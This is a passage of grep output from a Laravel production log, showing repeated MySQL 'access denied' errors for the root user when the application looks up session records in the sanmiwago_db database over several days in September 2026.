'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-23 09:32:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Cr2s5mPvwLieTtAHuqfp3ThOiYmevQzZPYDfmXb1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Cr2s5mPvwLieTtAHuqfp3ThOiYmevQzZPYDfmXb1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-23 11:16:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = V5RFuBEhAF43uzj3SfCHzA1C31ThipmbfAuzzYNK limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = V5RFuBEhAF43uzj3SfCHzA1C31ThipmbfAuzzYNK limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-23 11:16:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xjMOKVGfe1sZo67ZwjUoK3IXx5sOKKBsfkxNGBZc limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xjMOKVGfe1sZo67ZwjUoK3IXx5sOKKBsfkxNGBZc limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-23 17:04:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = y7ZeIRrf6eAudmmEMEjYN2JUAysOVkWeSl27P28j limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = y7ZeIRrf6eAudmmEMEjYN2JUAysOVkWeSl27P28j limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-24 00:21:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = O3qiXeYVP95ft2Pi0m5Uubxr0118ctRl2oJjDwNU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = O3qiXeYVP95ft2Pi0m5Uubxr0118ctRl2oJjDwNU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-24 00:21:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TWrlDZbMIxhljpB20WDFW8Es49M9CLWHyn0h2vBk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TWrlDZbMIxhljpB20WDFW8Es49M9CLWHyn0h2vBk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-24 00:21:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GxC9T2ezOCb7kcxMS437C5wnABBb2j1Doewgq7mE limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = GxC9T2ezOCb7kcxMS437C5wnABBb2j1Doewgq7mE limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-24 03:23:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = USpTob5pZ1xTLxnfMYtfh2dAfcMO5r5v9OkHTdnj limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = USpTob5pZ1xTLxnfMYtfh2dAfcMO5r5v9OkHTdnj limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-24 07:09:18] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ywPWLiD1MPdeUm0nVKvVclD1deERl5zPKl4UTvFn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ywPWLiD1MPdeUm0nVKvVclD1deERl5zPKl4UTvFn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-25 22:21:37] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = K8U7mTyS17sHFeyI2gmaYOnQMTqW8rQG9tOWruY1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = K8U7mTyS17sHFeyI2gmaYOnQMTqW8rQG9tOWruY1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-26 05:53:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Od6Fgxflq7YlppC6BlpcQFCo4thUSwsGLZEiEcak limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Od6Fgxflq7YlppC6BlpcQFCo4thUSwsGLZEiEcak limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-26 08:19:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ktomtbDWV9E7oRF2qdvljchXCfhasYRpM3tunNjS limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ktomtbDWV9E7oRF2qdvljchXCfhasYRpM3tunNjS limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-26 14:53:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fLETg9SeACXcCRggTFv0ZryrG5PgbyGbfQTZwLtZ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fLETg9SeACXcCRggTFv0ZryrG5PgbyGbfQTZwLtZ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-26 23:29:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = li0PkDIWuGQ2GIAqQsd8LJFEOci5EvAdluWDqhTN limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = li0PkDIWuGQ2GIAqQsd8LJFEOci5EvAdluWDqhTN limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-26 23:34:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = x4Ioa9YoVTba41reCRtJsrmX7UyBJteKuF4rFlpy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = x4Ioa9YoVTba41reCRtJsrmX7UyBJteKuF4rFlpy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-26 23:44:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qkvu6LpurrrX4OpAvGRI6ke2ZYv6mfFpJo9Musyz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qkvu6LpurrrX4OpAvGRI6ke2ZYv6mfFpJo9Musyz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-26 23:53:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Klo5PwAzgoexoDjzE538k7nL1bUJM941VIj40Neh limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Klo5PwAzgoexoDjzE538k7nL1bUJM941VIj40Neh limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-27 02:47:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = J57VAHT4meQfBunr21sJYUwjjGpFOZf8fPDEE7On limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = J57VAHT4meQfBunr21sJYUwjjGpFOZf8fPDEE7On limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-27 15:26:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YufTXInVzHRDM9UiUqkb7KGnziu9llkn4oqW2uX7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YufTXInVzHRDM9UiUqkb7KGnziu9llkn4oqW2uX7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-27 17:04:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hl4Gjrca9BAJtKOr8siYj6TNgOCtMu6WNPlyZy3H limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hl4Gjrca9BAJtKOr8siYj6TNgOCtMu6WNPlyZy3H limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-27 19:32:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EL6Qpp5EzTBTKPAQjBWEEreoRtcpc4K3GXH4RY5L limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EL6Qpp5EzTBTKPAQjBWEEreoRtcpc4K3GXH4RY5L limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-27 19:50:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VnCKaVuQ3xsA2He3lx8QdYFXbQOU510qWFGlGP7t limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VnCKaVuQ3xsA2He3lx8QdYFXbQOU510qWFGlGP7t limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-28 02:01:20] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = n1Pubaz1Ytr7mp2ndHOalEuVvEeawvG6k712SC3A limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = n1Pubaz1Ytr7mp2ndHOalEuVvEeawvG6k712SC3A limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-28 10:55:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6z7eM7lqGpoJC1kxEsONIYg16PrcyAE20blzJHz0 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6z7eM7lqGpoJC1kxEsONIYg16PrcyAE20blzJHz0 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-28 20:34:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ajQDLx7MFLqRQdkimyIvIM84h0fPscd12RPQqmHJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ajQDLx7MFLqRQdkimyIvIM84h0fPscd12RPQqmHJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-29 09:29:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CEnBIDMF3Molg0RfTiSmsHCvQQzBmGYkIoZv6h1M limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CEnBIDMF3Molg0RfTiSmsHCvQQzBmGYkIoZv6h1M limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-29 13:24:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9RQyA2jqQs7PuaPRrofvPqDLiXf8hua4w1HCZLYH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9RQyA2jqQs7PuaPRrofvPqDLiXf8hua4w1HCZLYH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-29 16:22:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nHgXbBzeNGZkS9rIXXMxWTPydOqzPcLIC68XzIHf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nHgXbBzeNGZkS9rIXXMxWTPydOqzPcLIC68XzIHf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-29 18:26:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3xOrUOa3N8SVmHNEzlEj8ANygYAtdwOd3AChEaSb limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3xOrUOa3N8SVmHNEzlEj8ANygYAtdwOd3AChEaSb limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-29 20:17:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = B3ULmc4Va02a3Wnyp1wm0nMKnCoSA6qOKwKmzPmd limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = B3ULmc4Va02a3Wnyp1wm0nMKnCoSA6qOKwKmzPmd limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' 